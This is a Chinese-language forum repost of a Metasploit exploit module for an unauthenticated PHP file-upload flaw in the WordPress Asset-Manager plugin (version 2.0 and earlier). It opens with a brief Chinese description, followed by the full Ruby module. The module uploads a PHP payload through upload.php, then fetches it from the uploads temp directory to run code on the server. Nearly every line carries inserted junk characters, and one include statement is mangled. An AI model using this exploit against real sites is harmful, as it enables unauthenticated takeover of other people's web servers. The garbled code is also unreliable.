这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。
- o1 i2 W3 |- H& {5 h0 R" Z, }! f" }6 o
4 w3 g* Z5 u0 z##% U0 ?" l6 C- ` ?
# This file is part of the Metasploit Framework and may be subject to2 t' @6 u" M9 i) k# _
# redistribution and commercial restrictions. Please see the Metasploit6 `4 f* |' `5 S% C" @
# Framework web site for more information on licensing and terms of use.
1 M7 k1 E% r- X$ c( @( v# http://metasploit.com/framework/ S! Z$ d @. F1 d( X4 ~( r7 Z7 R
##
$ p+ B V8 H& U; M * ^6 t6 B1 Z% q2 j; l
require 'msf/core'
' C$ J' ?" }" a3 i& |* `require 'msf/core/exploit/php_exe'9 {' W3 F* H+ D# X9 S- W# z
% r/ \. {4 ]9 Y% v* ^
class Metasploit3 < Msf::Exploit::Remote
2 S0 d5 u( k7 J) { Rank = ExcellentRanking
8 m, A8 i/ X8 S% a8 f! K, P! C8 a
; D% c5 o/ D- J* C4 n0 x# ^0 I include Msf::Exploit::Remote::HttpClient$ t5 `4 \; S. e- P. i5 V
include Msf::Exploit: hpEXE' b& |* O# M2 ~* _+ o
: C2 ?! I5 X a/ q b* R1 I def initialize(info = {})) j1 O! Q3 W0 ]2 \1 v
super(update_info(info,) Y0 |+ m3 C6 Z, v
'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',
) ?6 P1 z5 [, l, b 'Description' => %q{: B$ I0 k9 k; e& X+ q. l, |2 \
This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress; g7 x5 u# f v2 B1 F. I, i' y
plugin. By abusing the upload.php file, a malicious user can upload a file to a
9 E# ^$ A8 g* d. K temp directory without authentication, which results in arbitrary code execution.
9 d6 q! G5 K9 Y },: }2 y% i7 g$ f4 a7 R9 x
'Author' =>3 `" ^1 s& e2 v6 M0 Y
[
$ Q) @# x+ k8 l' X. l' v; m5 N 'Sammy FORGIT', # initial discovery5 r4 B( t8 V* u! K& E$ g
'James Fitts <fitts.james[at]gmail.com>' # metasploit module9 V# P8 Y: A& K2 v; P) f
],8 Q! B4 L( J1 R$ b) ^+ I
'License' => MSF_LICENSE,7 J2 u% K2 ?2 P+ r5 H$ ^9 S( v/ P
'References' =>/ }+ n$ \" E2 ~5 o4 _! x/ E& P5 G
[6 m8 ]: T. r8 x/ J4 S# _/ f/ Z
[ 'OSVDB', '82653' ],; o. B) G0 s! }3 h% e4 Y' {( w* H
[ 'BID', '53809' ],; `4 h9 S# |3 `2 w# Z" ?( E' E: V* C
[ 'EDB', '18993' ],% t! A- y& f' `1 |. a# \! v0 D
[ 'URL', 'http:// www.myhack58.com /' ]0 \, X& B# s) E4 d. s& j
],
: M: x; o0 y' t. F& ]" q0 u 'Payload' =>+ g2 o, U+ o' W! N3 f7 T/ C
{
" b( P k5 z- H% u7 u- M 'BadChars' => "\x00",& Z& s( V( a0 S4 v' S
},4 ~6 N+ x2 _+ u5 P: x
'Platform' => 'php',
) c- M0 T G/ x1 d 'Arch' => ARCH_PHP," v, B: S4 W& ~1 j- q1 }* o
'Targets' =>- o* C. ]7 R* `
[
9 N3 ^6 R4 v: D; L3 u" }6 b [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
* D& ]% e: Y* B$ T1 O6 W( e [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
) T9 @' u) X9 y ],8 I! B4 e! ]: o/ P
'DefaultTarget' => 0,
$ H( I2 \5 ]; b4 I+ J8 u$ y 'DisclosureDate' => 'May 26 2012'))9 G8 N* _ s2 s# T! w
; G! K% P2 d4 K, k# T* V register_options(
# ]! X1 ?1 ]" j [6 t5 ]0 Z) G2 }2 N; O
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
+ c8 Z: A. H6 |) { ], self.class)2 z( O4 V1 J- v+ `( c# y' h
end( A1 ]/ y0 c+ a
! ~1 }: Z; I- z. X2 g
def exploit
7 |& x( N8 T0 H: @9 m8 q! ~- h) t( y uri = target_uri.path1 r* Y' D; ^3 r4 d
uri << '/' if uri[-1,1] != '/'# g. R+ z, }. s; z& B2 l0 F. f
peer = "#{rhost}:#{rport}"9 w0 H- i% A5 z9 Y1 C
payload_name = "#{rand_text_alpha(5)}.php"! S& J, `9 W- P( Y3 X8 p
php_payload = get_write_exec_payload(:unlink_self=>true)
6 Z2 `7 G; ~% b7 S% F
! J$ K9 p7 J7 U4 ~" ~! C T$ }) S: G data = Rex::MIME::Message.new2 z: s& {6 w# ?& q4 [
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\""). ?. |# N% x1 K2 ~6 s, @
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')' d; ~" e/ w. N$ t: [5 m3 \9 G
) J# i4 S: ~# n* M9 F
print_status("#{peer} - Uploading payload #{payload_name}")
3 S T5 Q3 O7 E res = send_request_cgi({
. b1 _& L4 q3 H6 \% p& K 'method' => 'POST',
' g" H1 A4 R- Y! t: j' { 'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",
' I9 |' V) S d$ c+ N 'ctype' => "multipart/form-data; boundary=#{data.bound}",
1 H( F' d' C. x4 {. N& r" j 'data' => post_data* m: h4 A$ W5 x
})
" O1 J; q) R2 C/ Q& K* W, y $ P9 E/ M# x& Y- s; J ?" f( x5 m
if not res or res.code != 200 or res.body !~ /#{payload_name}/: T8 B# c3 i ]: l9 Z( T
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")1 ?/ C2 ^! `, ?2 s" G9 b
end! e' F$ h$ J! F5 D9 K6 j$ D
( B' T4 o; C6 c4 c U. H5 `0 r
print_status("#{peer} - Executing payload #{payload_name}")1 Y% g: ~7 B; t) A5 h/ F' a
res = send_request_raw({7 K) L7 f2 {* |) p5 K+ b4 E; W
'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
5 r$ m/ \( m% W9 Z7 b/ u4 o 'method' => 'GET'' ]2 |" L4 L" l3 X8 d; G
})
* s" j2 ]% K: C( E- r H! g! o , ~5 {% ~5 c r/ [
if res and res.code != 200
2 Y1 D& F! ]- S$ v4 }* T. R, ~ fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")
/ a+ |. u1 o4 v1 Z. j- a end
+ R, O! p+ x( `% Q end
2 B5 e* E* h0 J; send
2 V# [9 [- m1 U, [: s6 Q4 n* e6 G/ l4 w |